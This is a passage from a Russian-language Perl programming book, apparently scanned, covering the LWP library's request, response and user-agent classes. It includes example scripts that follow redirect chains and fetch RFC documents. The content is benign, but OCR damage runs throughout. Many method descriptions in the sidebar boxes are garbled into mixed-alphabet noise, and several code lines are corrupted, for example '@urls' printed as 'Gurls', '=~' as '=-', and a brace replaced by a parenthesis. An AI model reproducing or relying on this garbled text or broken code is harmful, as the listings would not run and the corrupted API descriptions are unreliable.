которое указывает тип (типы) MIME, ожидаемый для получения клиентом; User-
Agent :, содержащее имя и версию клиентского программного обеспечения клиента;
и Content-Type:, которое описывает тип MIME информационного наполнения
запроса, если оно существует. Другие поля обеспечивают проверку подлинности
пользователя для получения информации по URL, защищенному паролем.
При использовании методов PUT и POST (но не методов GET, HEAD и DELETE)
запрос может также содержать данные информационного наполнения. При
работе с методом PUT информационное наполнение представляет собой документ,
который должен быть выгружен в то место, которое указано в URL. При методе
POST информационным наполнением являются некоторые отправляемые
данные, такие как содержимое заполняемой формы, которое должно быть
отправлено в сценарий CGI.
В библиотеке LWP для представления всех запросов, даже тех, в которых не
используется протокол HTTP, служит класс HTTP::Request. Запрос строится путем вызова
метода HTTP: :Request->new() с указанием имени желаемого метода запроса и URL,
к которому должен быть применен этот запрос. При выдаче запросов HTTP затем
можно добавить или изменить поля заголовка исходящего запроса, например, для
добавления информации проверки подлинности пользователя или файлов cookie HTTP. Если
метод запроса предусматривает отправку информационного наполнения, обычно эти
данные добавляются к объекту запроса с использованием его метода content ().
В приведенном ниже описании API-интерфейса перечислены наиболее часто
применяемые методы HTTP: :Request. Некоторые из них определены в самом
модуле HTTP:: Request, а другие унаследованы.
Выполнение сценария начинается с создания нового объекта запроса с помощью
метода HTTP::Reques t->new().
Глава 9. Web-клиенты
261
I $roguest»HTTP::Raquest->new($method,$url[,{header{,$contont]))
I Метсд ntw() создаст* некий объект: нтт»: sRcfrj^st. Он требует указания, лс меньшей мере.
диух гарагиетроп. Параметр $rofthod представляет собой имя метода запроса, такое как Gpr, а па-
; раметг $url обоэнэчэет ORL. пс которому должен быть стравлен запрос.- URL может представлять
' собой простуТб строку или ссылку не объект URI, созданный с использованием модуля URI. Вэтсй
главе модуль URI подробно не рассматривается, но сн предоставляет функциональные средства
дли подробного анализа* • эзличных частей URL
Метод new() принимает также необязательные параметры $header и $content.
Параметр $header должен представлять собой ссылку на объект заголовка
HTTP: :Headers. Однако здесь API-интерфейс HTTP: :Headers не рассматривается,
поскольку проще позволить модулю HTTP: :Request создать предусмотренный по
умолчанию объект заголовка, а затем его настроить. Параметр $content
представляет собой строку, содержащую любое информационное наполнение, которое должно
быть отправлено на сервер.
После создания объекта запроса для изучения или изменения полей заголовка
может применяться метод header ().
$requeet->h^arler($fieldl=>^vaH,?fiold2->9vftl2 )
t v»lues-$request->hea<ie{ ($ field)
Метод header (') может Сыть вызван с одной или несколькими парами "псле/значение" дгш
установки указанных, полей или с одним именем поля для выборки текущих ого значений. При вызове
| с именем поля метод he a Jet (^ возвращает текущее значение поля. 6 кентексте списка метод
heado* () возврящаот многозначные поля в виде списка; в скалярном контексте — значения
разделенные запятыми.
В следующем примере устанавливается поле Referer:, которое указывает URL
документа, содержащего ссылку на документ, запрашиваемый в данный момент.
$request->header(Referer =>
■http://www.yahoo.com/whats_cool.html')
Поле заголовка HTTP может быть многозначным. Например, в поле Cookie:
клиентского запроса могут содержаться все данные cookie, назначенные клиенту
сервером. Значения многозначных полей можно устанавливать, используя в качестве
параметра ссылку на массив или передавая строку, в которой значения разделены
запятыми. В следующем примере устанавливается поле Accept:, представляющее собой
многозначный список типов MIME, которые готова принять клиентская программа.
$request->header(Accept =>
['text/html','text/plain','text/rtf'])
Иным образом, для установки значений многозначных полей можно использовать
метод push_header (), описанный ниже.
?requ«ct->push_head«r(Sfield => 3value)
Метод push_h'tader (4 добавляет указанное значение к концу поля, создавая ого, если онс не
существует, и преобразуя в многозначное, если оно является однозначным Параметр <$vslue
может представлять ссбой скаляр-или ссылку на массив.
1 Srequest->rec:ove_head©iJ(efield9)
, " Метел reraovc_Jip.-Jer () удэлкет указанные пгля
Ряд методов, перечисленных ниже, предоставляет удобные средства для работы
с полями заголовка.
262
Часть П. Разработка клиентов для основных служб
, $request->scan(\&sub) г ^ г« Jfc-i
Г-"" Метод scan () перебирает а цикле все поля заголовка HTTP, вызывая подпрограмму, ссылка на л
|.которую, задана параметром \6sub. Указанная подпрограмма вызывается с двумя параметрами, со-'
: стоящими из имени поля и его значения. При обработке многозначных прлей эта подпрограмма вы-*
i айвается для каждого значения. |
i . ,л $request->date О I
1" $request->expires () 1
{ Srequest->last_modified() «
$request->if_modified_since () \
$reguest->content_tYpe{) l
Srequest->COTitent_Iength О s j
$reguest->referer() * j
$request->user_agent() I
Эти методы принадлежат к семейству, состоящему из 19 вспомогательных методов, которые по- *
зволяют получать и устанавливать значения наиболее часто применяемых однозначных полей. При
вызове без; параметра они возвращают текущее значение поля, а при вызове с одним параметром
...устанавливают значение поля: В методах, предусматривающих работу с датами, применяется сие- '•
темный формат времени, аналогичный возвращаемому функцией timet). I
Следующие три метода позволяют устанавливать и изучать информационное
наполнение одного запроса.
$request->content{[$content]) "' ! '':" ' *' "-*■'■" ''""
$re<juest->content_ref «*
; Метод content () устанавливает информационное наполнение исходящего запроса. При
вызове без параметра он соззрящает текущее значение информационного наполнения, если оно
имеется. Метод content r'ef <) возвращает ссылку на информационное наполнение и может
применяться для нехюсредственной манипуляции этим информационным наполнением. \
При отправке запроса из заполняемой формы на динамическую Web-страницу с помощью
Метода post, метод- content{) служит для установки строки запроса и вызывает метод
cohtent_type () для установки значения параметра MIME' fype, равного applicaticn/x-www-
f orm-utlehcodediUUl miiltipart/form-data., .^ - -
«Можно также создавать информационное наполнение динамически, 'передавая методу
iCpntent (У Ссылку на фрагмент кода,, который возвращает информационное наполнение. Библиоте-'-
ka ШР повторно вызывает указанную подпрограмму до тех лйр, пока *>на не возвратит пустую стро-*
ку. Это средство удобно дляпередачи запросов по методу Pttpra ПН-серверы и запросов по метсь •■*
ду post на почтоаые серверы и серверы службы новостей. Однако его неудобно использовать
с HTTP-серверами, поскольку поле Content-Length;; должно быть заполнено еще до отправки
запроса. Если длина динамически создаваемого информационного наполнения, известна; заранее, то
значение этого поля можно установить с использованием метода content_length {). --
$request->add_content($data> .„., ,
Этот метод добавляет некоторые данные к концу существующего информационного наполнения,
ёслирно имеется..Его удобно применять при^^ении,информационного 1йаполнёния из файла. ,
И наконец, следующие методы позволяют изменить URL и метод, применяемый
в запросе.
".$request->uri(,[$uri3J "i*"'""" "~~ " ~"~~* " '•г*'" ^' т '"r" i
Этот метод позволяет получить или установить URl исходящего запроса. f
.$reguesJt">method(ISniethod]y' й ;,_ •""!"' Ц
Метод methodf) позволяет получить или установить метод исходящего запроса.
^String = $request->as_string
Метод as string () возвращает исходящий запрос в виде строки и чаще всего
применяется при отладке. а ...• - vfo :; •
Глава 9. Web-клиенты
263
HTTP:: Response *
После выдачи запроса модуль LWP возвращает ответ сервера в форме объекта
HTTP: :Response. Объект HTTP: :Response применяется даже для протоколов,
отличных от HTTP, например для FTP.
Объекты HTTP:: Response содержат информацию состояния, которая позволяет
узнать результат выполнения запроса, и информацию заголовка, которая
предоставляет метаинформацию о выполненной транзакции и затребованном документе. При
использовании запросов GET и POST объект HTTP: : Response обычно содержит
данные информационного наполнения.
Информация состояния доступна и в виде числового кода состояния, и в виде
краткого сообщения, предназначенного для восприятия человеком. При
использовании протокола HTTP может вырабатываться более десятка кодов состояния;
наиболее часто встречающиеся перечислены в табл. 9.1. Хотя на разных серверах может
применяться различный текст сообщений, коды стандартизированы и
подразделяются на три основные категории.
■ Информационные коды (100 ... 199) представляют собой информационные коды
состояния, выдаваемые перед выполнением запроса.
■ Коды успеха (200 ... 299) указывают на успешные результаты.
■ Коды состояния перенаправления (300 ... 399) указывают, что затребованный URL
перемещен в другое место. Эти коды обычно возникают, если Web-узел
реорганизован и администраторы установили средства перенаправления,
позволяющие избежать обрыва входящих внешних ссылок.
■ Коды ошибок (400 ... 499) указывают на различные клиентские ошибки, а коды
ошибок от 500 и выше — на серверные ошибки.
При работе с серверами, отличными от HTTP, модуль LWP вырабатывает
соответствующие коды состояния. Например, при запросе файла с FTP-сервера модуль LWP
вырабатывает ответ 200 ("ОК"), если файл был загружен, и 404 ("Not Found"), если
затребованного файла не существует.
Библиотека LWP обрабатывает некоторые коды состояния автоматически.
Например, если Web-сервер возвращает ответ о перенаправлении, указывающий, что
затребованный URL можно найти в другом месте (коды 301 или 302), библиотека LWP
автоматически вырабатывает новый запрос, направленный в указанное место.
Полученный ответ будет соответствовать новом)' запросу, а не первоначальному. Если
запрос требует проверки подлинности пользователя (код состояния 401) и имеется
информация прав доступа, библиотека LWP повторно выдает запрос с
соответствующими заголовками авторизации.
Заголовки HTTP: :Response описывают сервер, транзакцию и прилагаемое
информационное наполнение. К наиболее удобным полям заголовков относятся
Content-Type: и Content-Length:, которые предоставляют данные о типе MIME
и длине возвращенного документа, если они имеются; Last-Modified:,
указывающее дату последнего изменения документа; и Date:, которое сообщает время на
сервере (поскольку часы на клиенте и сервере могут быть установлены по-разному).
Как и объект запроса, объект HTTP: :Response наследует методы от объекта
HTTP: :Message и передает вызовы на выполнение неизвестных методов
содержащемуся в нем объекту HTTP: :Headers. Для доступа к полям заголовка можно
вызывать header (), content_type (), expires () и все другие методы для работы с
полями заголовков, описанные ранее.
264
Часть II. Разработка клиентов для основных
Таблица 9.1. Часто возникающие коды состояния и сообщения HTTP
Код
Сообщение
Описание
Коды 1ХХ (информационные сообщения)
100 Continue
101
Switching Protocols
Коды 2ХХ (сообщения об
успешном выполнении)
200 ОК
201
202
204
Коды ЗХХ (сообщения
о перенаправлении)
301
302
Created
Accepted
No Response
Moved
Found
Коды 4 XX (сообщения об
ошибках клиента)
400 Bad Request
401
403
404
Authorization
Required
Forbidden
Not Found
Коды 5ХХ (сообщения об
ошибках сервера)
500 Internal Error
501
502
Not Implemented
Overloaded
Продолжается выполнение
запроса
Происходит переход на более
новую версию HTTP
URL найден. Далее следует его
содержимое
URL был создан в ответ на запрос
типа POST
Запрос был принят для обработки
в более позднее время
Запрос принят успешно, но
соответствующее ему
информационное наполнение
отсутствует
URL навсегда перемещен по
новому адресу
URL временно находится по
новому адресу
В запросе есть синтаксическая
ошибка
Должна быть выполнена
операция проверки прав доступа
по паролю
Доступ к URL запрещен, поэтому
проверка прав доступа не
выполняется
Затребованное информационное
наполнение отсутствует
В процессе работы сервера
возникла непредвиденная ошибка
Применяемое средство не
реализовано
Сервер временно перегружен
Глава 9. Web-клиенты
265
Аналогичным образом к информационному наполнению ответа можно получить
доступ с использованием методов content () и content_ref (). Поскольку
некоторые документы могут иметь очень большой объем, в библиотеке LWP предусмотрены
методы сохранения информационного наполнения непосредственно в файлах на
диске и его передачи в подпрограммы из буферов по частям.
Хотя модуль HTTP: : Response имеет конструктор, его объекты обычно не следует
создавать непосредственно, поэтому данный конструктор здесь не описан. В целях
сокращения объема изложения, опущен также ряд других редко используемых
методов этого модуля. Полное описание API-интерфейса приведено в документации
модуля HTTP: :Response.
$statu?_code — $ response->code ~ : ,;*" -,^,<а-.«. .,, :-. .:.a
$status_message = $response->message
Методы code () и message {) возвращают информацию о результатах запроса. Метод code ()
возвращает числовой код состояния, a message () — его эквивалент, предназначенный для
восприятия человеком. Эти методы можно также вызывать с параметром в целях установки значения
соответствующего поля. s
$text = $response->statue_line
Метод s:tatus_line(}tB03Bpau4aeT код состояния, за которым следует сообщение влтом же
формате; в каком оно было получено с WebJ-cepBepa.
! Sboolean = $response->is_success
j: ft $boolean = $response->is_red±rect
j Sboolean — $response->is_info
{, $boolean = $response->is_error -t->
; Первый из этих четырех методов возвращает истинное гчач~ние, если ответ получен успешно,
| второй обозначает перенаправление, третий является информационным, а четвертый возвращает
| сообщение об ошибке.. ,; 4
$htm3. =; $response->error_as_HTML
f • Если метод is error () .возвращает истинное значение, можно вызвать метод erroir^as^Hf ml ()
(для получения документа HTML в удобном формате, содержащего описание ошибки.
$base = $response->base " vr-v*. ■=
Метод base' J j возвращает базовый URL 'запроса. Это — URL, применяемый для преобразова-
Гния относительных ссылок, содержащихся в возвращенном документе, в полные ссылки. Значение,
возвращённое/методом* base'i), фактически представляегсобой объект URI и может применяться
; для преобразования относительных URL в абсолютные. Дополнительные сведения приведены в до-
\: кументации модуля URI. "я-w.-;
Srequest = $reeponse->request
л Метод-request () возвращает копию объекта HTTP:: Request, который выработал Данный от-""'
вет. Этот объект может не совпадать с объектом HTTP::Request, созданным ранее в сценарии.
Если сервер возвратил запрос на перенаправление или проверку подлинности, то запрос
возвращенный данным методом, представляет собой объект, созданный самим модулем lkp. <
i $request = $response->previous ^r
j: Mefoj|t;previous 0 аозврайэет1<ог1ию:объёкта нтт£: ;R quest, с»зданйё*1<оторогЬ' предшёст-
! вовало созданию текущегообъекта. Этотметод может применяться для отслеживания цепочки за-
1 просев на перенаправление вплоть до первоначального запроса. Если текущему объекту не пред-
|: шествовал другой запрос, данный метод возвращает значение jmdef.
В листинге 9.3 приведен простой сценарий follow_chain.pl, в котором
применяется метод previous () для получения списка промежуточных перенаправлений
между затребованным и полученным URL. Он начинается точно так же, как и
сценарий get_url.pl, приведенный в листинге 9.1, но в нем для выборки информации об
266
Часть П. Разработка клиентов для основных служб
URL без получения его информационного наполнения применяется метод HEAD.
После получения объекта HTTP: :Response повторно вызывается метод previous ()
для выборки информации обо всех промежуточных ответах. В начало растущего
списка URL добавляется URL и строка состояния каждого запроса, в результате чего
формируется цепочка ответов. В конце сценария корректируется формат цепочки
ответов, и эта цепочка выводится на устройство вывода.
Листинг 9.3. Сценарий follow_chain.pl отслеживает запросы на
перенаправление
0: #!/usr/local/bin/perl -w
1: # Файл: follow_chain.pl
2: use strict;
3: use LWP;
\
4: my $url = shift;
5: my $agent = LWP::UserAgent->new;
6: my $request = HTTP::Request->new(HEAD => $url);
7: my $response = $agent->request($request);
8: $response->is_success or die "$url: ",
$response->messagef"\n";
9: my @urls;
10: for (my $r = $response; defined $r; $r = $r->previous) {
11: unshift Gurls,$r->request->uri . ' ('
. $r->status_line .')';
12: }
13: print "Response chain:\n\t",join("\n\t-> ",Gurls),"\n";
Ниже приведен результат выборки URL, который был перемещен несколько раз
в ходе неоднократных реорганизаций Web-узла лаборатории, в которой работает автор.
% follow_chain.pi http://stein.cshl.org/software/WWW
Response chain:
http://stein.cshl.org/software/WWW (302 Found)
->http://stein.cshl.org/software/WWW/ (301 Moved
Permanently)
->http://stein.cshl.org/WWW/software/ (200 OK)
LWP::UserAgent
Класс LWP: :UserAgent обеспечивает передачу объектов HTTP: :Request на
удаленные серверы и создание объектов HTTP: :Response, соответствующих
полученным ответам. Этот класс, по сути дела, представляет собой машину Web-броузера.
Модуль LWP: :UserAgent обладает способностью не только выполнять
выборку удаленных документов, но и зеркально отображать их на локальном
компьютере так, чтобы удаленный документ передавался только в том случае, если он
датирован более поздним числом по сравнению с локальной копией. Этот модуль
позволяет работать с Web-страницами, которые требуют проверки подлинности
Глава 9. Web-клиенты
267
пользователя по паролю. Кроме того, он сохраняет и возвращает файлы cookie
HTTP, а также обладает способностью устанавливать сеанс связи с proxy-
серверами HTTP и перенаправлять ответы.
В отличие от модулей HTTP::Response и HTTP: :Request, на основе модуля
LWP:: UserAgent часто создаются подклассы для уточнения способа его взаимодействия
с удаленным сервером. Примеры этого будут приведены в одном из следующих разделов.
5agent - LWF::UserAgent->new
Метод new о создает нэвый сбье«т агента пользователя LWi.-: tUserAgent. Оквызыеае^сл^ез
параметры;. Один и тот же агент пользователи можно неоднократно применять для выбор*»! разных URL
J response — Jagent->request ($re-^uest, tJdest[ ,$size] ] )
Мет^ request о сзыдеет запрос нттр:: Request, переданный в качесгэё параметра, и воэ-
{ вращает ответ нттр :: Response. Ответ возвращается даже при неудачном выполнении запроса,
} Для определения того, был ли запрос выполнен успешно, следует вызывать методы issuccess ()
или code () ответа.
Необязательный параметр Sdest определяет место'назначения информационного наполнения л
ответа. Если он опущен, информационное наполнение помещается в объект ответа, откуда оно мо-'
жет быть получено с помощью методов content () и content_ref {).
Если параметр $dest является скаляром, он рассматривается как имя файла. Файл
открывается для записи и в нем сохраняется полученный документ. Поскольку модуль
LWP автоматически ставит перед именем файла символ >, в сценарии нельзя
использовать командные каналы или другие средства перенаправления вывода.
Информационное наполнение сохраняется в файле, поэтому объект ответа указывает на
успешное выполнение задачи, а метод content () возвращает значение undef.
В качестве параметра $dest может быть также задана ссылка на подпрограмму
обратного вызова. В этом случае данные информационного наполнения регулярно
передаются указанной подпрограмме, что позволяет выполнить определенные
действия с этими данными, например передать синтаксическому анализатору кода HTML.
Подпрограмма обратного вызова должна выглядеть примерно так:
sub handle_content {
my ($data,$response,$protocol) = G_;
}
Три параметра, передаваемые подпрограмме обратного вызова, представляют
собой текущий фрагмент данных информационного наполнения, текущий объект
HTTP: : Response, а также объект LWP: : Protocol. Объект ответа предоставляется
в такой форме, чтобы в этой подпрограмме можно было принять обоснованное
решение о том, как обрабатывать это информационное наполнение, например
передать по каналу данные типа image/ jpeg в программу просмотра изображения.
Объект LWP: : Protocol реализует зависящие от протокола методы доступа,
которые используются в самом модуле LWP. Маловероятно, что этот объект когда-то
потребуется программисту.
При использовании в качестве параметра $dest ссылки на код можно обеспечить
определенный контроль над размером фрагмента информационного наполнения с
помощью параметра $size. Например, если в качестве значения параметра $size будет
указано число 512, то подпрограмма обратного вызова будет вызываться после
получения каждого из 512-байтового фрагмента данных информационного наполнения.
В некоторых ситуациях удобнее применять еще два варианта метода request ().
268 Часть П. Разработка клиентов для основных служб
v-ps •'- - - -г-™—~—■ — ^ g „ л - -ЛЯЛИ Я
1 Sresponse = $agent->Sin^le_request<$request, [$dest[,$siee] ]) ■ 3
Метод simplerequest (J действует аналогично методу request ()', но не выдает автоматиче-^
ски повторные запросы для выполнения требований по перенаправлению или проверке подлинности
пользователя. При его; вызове применяются такие же параметры, как и лри вызове метода ,
jrequest (X .г^к. s '■•
$response=$agent->mirror($url,$file) ,,
( ^ Метод mirror о в качестве параметров принимает URL (объект URI или строку) и путь к файлу, :
! в котором должен быть записан удаленный документ. Если локальный файл не существует, метод вы-
' полняет выборку удаленного документа. В ином случае он сравнивает даты последнего изменения.удэ-
ленной и локальной копий и выбирает Документ, только если это сравнение показывает, чтс локальная
" копия устарела Для URL протокола HTTP метод mirror О создает объект HTTP:: he juest. который
имеет правильное значение поля заголовка if-Modified-Since:. что позволяет выполнять выборку
.; данных по условию. Для URL протокола FTP'модуль ьир использует команду м тк (сокращение от
К modification time) для^полученияуинформации о дате последнего изменения удаленного файла.
Следующие два метода позволяют налагать временные и пространственные
ограничения на запросы.
| S timeout == $agenfc->time6Ut(IS timeout]) J
[ i Метод timeout () позволяет получить или установить тайм-аут выполнения запросов в секунд
',', дах. Зто значение по умолчанию равно 1 ВО с (3 мин.). Если тайм-аут истечет до выполнения запрр- !
са, возвращенный ответ будет Иметь код состояния 500,:а сообщение об ошибке будет указывать,
i что выполнение запроса прекращено по тайм-ауту. j
h Sbytea = $agent->max_size([$bytes]) з
lb Методmax_size () позволяет получить илй^установить максимальный размер информационного
наполнения ответа, возвращаемого с удаленного сервера. Если информационное наполнение пре-ч"
вышает по размеру зтЪ Значение, тооно усекается и огьект ответа содержит^атоловок'эс-сбг^егл
^ Range: с указанием того, какая часть документа была возвращена. Как правило, этот заголовок
>' имеет формат, bytes start-en.!, где start и end обозначают начальную и конечную точки пелу-
ченной части доку нтя.
Па умолчанию возвращаемое значение размера равно un^ef. аэтэ значит, что агент
пользователя принимает информационное наполнение Любой 1ины.
Методы agent () Hform() позволяют ввести в запрос дополнительные данные.
$id « $agent->agent([$id]) % , "j
ij Метод agent () позволяет получить или установить значение поляUser-Agent^.отправляемое |
'модуйем LWP на НТТР-сёрверы. бноймеет форму пате/х.цк (comment j, где name —•имяклиеКт-' i
ского программного обеспечения, x.ixx— номер версии и (comment)—' меебяззтольное'поле
комментария. По.умолчанию в модуле lwp применяется знэуение libww-; crl/x.xx; гДе х.ях—
текущий номер версии модуля.
| ! ■ Иногда возникает необходимость изменить идентификатор агента пользователя, чтобы вызвать
реакцию удаленного сервера, которая-' рассчитана на конкретный броузер. Например, следующая
строка кода изменяет значение идентификатора агента пользователя на Mo.zilla/4w.7,'заставляя
сервер рассматривать броузер, с которым он работает, как-броузер Netscape версии 4!Х,
работающий на устройстве PalmPilfct.
Sageitt->agtnt(,Mozilla/4.7 [^п] CalroOS)')
Saddresu — $a7ont->fropi({SaddreBs])
Метод from о поэпеляет пелучить или устансеить адрес электронна печтч пользователя, кон-
трслирующегЬ дейсто^я агента пользователя Этот адрес включен в пеле Frore: почтовых
отправлений и статей фупп новостей, отправляемых на сервер, и выдается наряду с другими полями на
НТТР-серверы. Г сдоставлять эту йнфсомацию'при работе с НТТР-сереерами нет необходимости,
но она межот быть предоставлена роботами, еып:;лн£ющими автоматически обследование Web.
в качестве1 дополнительной информации для уделённого^узла.
Глава 9. Web-клиенты
269
Предусмотрен также ряд методов, позволяющих управлять взаимодействием
агента пользователя с proxy-серверами. Серверы такого типа обычно используются, если
клиент находится за брандмауэром, который не позволяет получить
непосредственный доступ к Internet, или применяются в тех ситуациях, когда пропускная
способность соединения с Internet ограничена и организации необходимо кэшировать на
локальном компьютере информационное наполнение часто используемых URL.
$proxy"= $agent->proxy($protocol => Sproxy) """ "Л" '"'* **'"" '** " '"]
Метод proxy () позволяет установить или получить URL proxy-серверов, используемых для выпол^ j
нения -запросов. Первый параметр; ^protocol*, п|>одстайляет собойтпибо скаляр, содержаний имя]
протокола, поддерживаемого proxy-сервером, такой ку *f fcpt, либо ссылку на массив с перечнем не-1
скольких протоколов, поддерживаемых proxy-сервером, например.[. 'ftp * > ■ http ■, 'gopher'], Второй j
гараметр,4рг'оху, представляет собой URL применяемого proxy-сервера.'• ,. ' " ./* ^
;$agerit->proxy,(tqw(r:tp httpj.J «is. 'https//proxy.cshl*SDrg: 8080') Ц
Этот метод можно вызвать несколько раз. если для каждого протокола должны применяться j
разные ргохугсерверы, --J- _'' -^ у* <-* , „ =' • ,j
$agejnt->proxy<.ftp => 'httprV/proxyl.cshl.prgifOSO'); *)
- $agent->proxy{http => ,http://proxy2.C5hl.9rg.:900i),;j;'
Как показывает этот пример, обычно в качестве proxy-серверов, обслуживающих не только
запросы НТТР^но И запросы FTP, применяются .НТТР-серверы;
?• Метод.,по_ргоху() позволяет отменить обслуживание proxy-сервером одного, или нескольких
доменов. Обычно этот метод применяется к серверам интрасети, доступ к которым может быть по?:
лучен непосредственно..'Следующий фрагмент кода позволяет отменить обслуживание proxy-
сервером применительно к серверу "iocainost" и ко всем компьютерам в домене "cshi.org". ** .
$agentr>no_^rJoxy(?localhost,> '.cshl.org') # ?;У'; .-ж. ' -,?" '
S • При вызове метода no_proxyi) с'пустыМ списком параметров происходит Ьчйстка списка
доменов, в которых не применяются proxy-серверы. Этот метод нельзя использовать для возврата к
исходному списку доменов. •>. ч. -j „ -S" Лу
У- $agent->env_pioxy -5^;..- "' 5J*'" .
.Метод enyjroxy () предоставляет альтернативный способ установки proxy-серверов. Этот метод не
принимает информацию о proxy-серверах из списка параметров, а считывает установки ргоху-сегее(х-в из
переменных среды «vjproxy. Это —те же переменные среды, которые исгшьзуклся^в ееромх броузера
netscape операционных систем UNIX и Windows. Например, в сценарии инициализаций командного
интерпретатора С proxy-серверы FTP и HTTP могут быть установлены следующим образом: ^
setenv ftpjproxy http://proxyl.cs{il. org: 8080 .« * *> "ftfr 'р ,-:.
setenv http_j3j:pxy http://prpxy2icshl.org:9000 ,J~p
v. ...seteny nojpr<My;;riocalhost,cshl..org „K. " '' _ . .. _ ._ .
И наконец, объект агента пользователя предоставляет несколько методов для
управления проверкой подлинности пользователя и информацией файлов cookie.
($name,$pass) = $agent->get_basic_credentials(Srealm,$url[,$proxy]) v* ' "-* J
При получении от удаленного НТТР-сервера запроса предоставитьг информацию для проверки под-
. линности пользователя ;по паролю для дрступа к >.URL, агент; пользователя вызывает метод
getj3asic_credentials (). чтобы передать^на сервер соответствующее имя пользователя и псроль.
. Параметры вызова состоят из "имени области действия" аутентификационной информации, URLdanpoca
и нес^пэ-тгелЬного флажка, указывающего, что проверка подлинности* была затребована промежуточным
рггху-сарэерсм, а не Web-сервером назначения. Имя области, действия, обозначенное параметром
SrealiL представляет собой строку, спт1г^зляомую сервером для обозначения группы документов, к
которым может быть получен доступ с использованием одной и той же пары 'имя пользователя/пароль". *
По умолчанию метод getjbasiqj;redentials{} возвращает имя пользователя и пароль,
которые включены в .состав /переменных^ экземпляра агента пользователя с помощью Метода
270
Часть П. Разработка клиентов для основных служб
credentials (). Однако зачастую более удобно создать подкласс класса lwp :: GsirJgjent» пере-:
крыть mctjA jtt_b4sic_crtdcnJtiAl3() дли Выдачи приглашения пользователю взести необхо-1
димуюинформ цмю. Пример такой конструкциипрограммы Судет приведен ниже. ? 1
4ageht->crodQriitlals($hDstp<a:t,$realm,Snn.'S'9>S^;s) г>"" "Ц
MeTOAicr<;d,ei}ti-'.is() сохраняет имн пользователя и п.^роль, предназначенные для использо- j
оания метсдом ■jptJbksic_cTcd*int).jLL- О-Его параметрами являются имя хоста> номер порта ;
сервера вСтрмяте, h.--stn4m£:port,' область действия аутентификационной■ информации; имя j
. пользователя и пароль: **** '-'*• л ':~- j
j. $jar = Sagent->dbokie_jar (tScookie^jar]) », ;;i
* П6 умолчанию объект ШР: :UserAgent игнорирует информацию cookie, отправляемую ему уда-1
ленными Web-серверами. Можно обеспечить полную поддержку информации cookie объектом аген-1
та пользователя, передав ему объект типа Нтйй<: Cookies: В этом случае модуль й?р записывает
входящую информацию cookie в стеш этого объекта, а в дальнейшем выполняет поиск в этом стеше
хранимой информации cookie для ее возврата на удаленный сервер: 'При вызове с параметром
HTTPi,:Coo1cies метод eookie_jaf.(j для хранения информации cookie использувт указанный объ-*
ект. При вызове без параметров метод cookiejjar < > возвращает имя текущего архива cookie. Ч
В настоящей книге не рассматривается весь API-интерфейс объектов
HTTP: :Cookies, который позволяет исследовать содержимое и манипулировать
файлами cookie. Однако ниже показана общая схема, которая может применяться для
приема информации cookie в целях ее использования в текущем сеансе, но не для
сохранения между сеансами.
$agent->cookie_jar(new HTTP::Cookie objects);
Ниже приведена общая схема, которая может применяться при автоматическом
сохранении информации cookie в файле .lwp-cookies для использования в
нескольких сеансах.
my $file = "$ENV{HOME)/.lwp-cookies";
$agent->cookie_jar(HTTP::Cookie objects->new(file=>$file,
autosave=>l));
И наконец, здесь показано, как сообщить модулю ШР, что должен использоваться
существующий файл cookie в формате Netscape, если он хранится в начальном
каталоге пользователя в файле ~/.netscape/cookies (пользователи систем Windows
и Мае должны внести соответствующее изменение в имя файла).
my $file = "$ENV{HOME}/.netscape/cookies";
$agent->cookie_jar(HTTP::Cookies::Netscape->new(file=>$file,
autosave =>1));
Примеры применения модуля LWP
Теперь, после знакомства с API-интерфейсом LWP, будут рассмотрены некоторые
практические примеры его использования.
Выборка списка документов RFC
Организация Internet FAQ Consortium (http://www.faqs.org) ведет Web-сервер
с архивом, содержащим большое число важных документов Internet, в том числе
документы FAQ Usenet и документы RFC и IETF. В первом примере представлено
небольшое инструментальное средство с интерфейсом командной строки для выборки
списка документов RFC по номерам.
Глава 9. Web-клиенты 271
Архив RFC, находящийся по адресу www. f aqs. org, имеет четкую структуру.
Например, для просмотра RFC 1028 необходимо выполнить выборку информации по
URL http://www.faqs.org/rfcs/rfcl028.html. Полученный документ HTML
представляет собой вариант первоначального чисто текстового документа RFC с
минимально необходимой разметкой. Организация FAQ Consortium добавляет в
верхней и нижней части этого документа изображение и несколько ссылок. Кроме того,
в виде ссылки оформлено каждое указание на другой документ RFC.
Сценарий get_rfc.pl приведен в листинге 9.4. Он принимает один или
несколько номеров документов RFC, указанных в командной строке, и выводит их
содержимое на стандартное устройство вывода. Например, для выборки документов RFC 1945
и 2616, которые описывают, соответственно, версии 1.0 и 1.1 протокола HTTP,
можно вызвать сценарий get_r f с. pi следующим образом:
% get_rfc.pl 1945 2616
<!D0CTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<TITLE>rfcl945 - Hypertext Transfer Protocol — HTTP/1.0</TITLE>
<LINK REV="made" HREF="mailto:rfc-admin@faqs.org";>
<META name="description"
content="Hypertext Transfer Protocol — HTTP/1.0">
<META name="authors"
content="T. Berners-Lee, R. Fielding & H. Frystyk">
Полученные файлы можно сохранить на диске или просмотреть в броузере.
Листинг 9.4. Сценарий get_rfс. pi
0: #!/usr/local/bin/perl -w
1: # Файл: get_rfc.pl
2: use strict;
3: use LWP;
4: use constant RFCS => 'http://www.faqs.org/rfcs/';
5: die "Usage: get_rfc.pl rfcl rfc2...\n" unless GARGV;
6: my $ua = LWP::UserAgent->new;
7: my $newagent = 'get_rfc/1.0 (' . $ua->agent .')';
8: $ua->agent($newagent);
9: while (defined (my $rfc = shift)) {
10: warn "$rfc: invalid RFC number\n" && next
unless $rfc =- /~\d+$/;
11: my $reguest = HTTP::Request->new(GET => RFCS
. "rfc$rfc.html");
12: my $response = $ua->request($request);
13: if ($response->is_success) (
14: print $response->content;
15: } else {
16: warn "RFC $rfc: ",$response->message,"\n";
17: }
18: }
272
Часть П. Разработка клиентов для основных служб
Проведем анализ программы.
• Строки 1-4. Загрузка модулей. Включена строгая проверка синтаксиса и загружен модуль lwp.
Кроме того, определен постоянный префикс URL для использования при выборке требуемого
документа RFC.
■ Строка 5. Обработка параметров командной строки. Выполняется проверка того, задан ли в
командной строке хотя бы один номер RFC, и, если нет, вызывается функция die, которая
выводит на экран краткую инструкцию по использованию программы.
• Строки 6-8. Создание объекта агента пользователя. Создается новый объект
LWP: :UserAgent, и применяемое по умолчанию значение поля User-Agent: этого объекта
изменяется на get rfс/1.0. За ним следует первоначальный, применяемый по умолчанию
идентификатор агента пользователя, заключенный в круглые скобки.
• Строки 9-18. Главный цикл. Для каждого документа RFC, перечисленного в командной
строке, создается соответствующий URL и используется для создания нового запроса get объекта
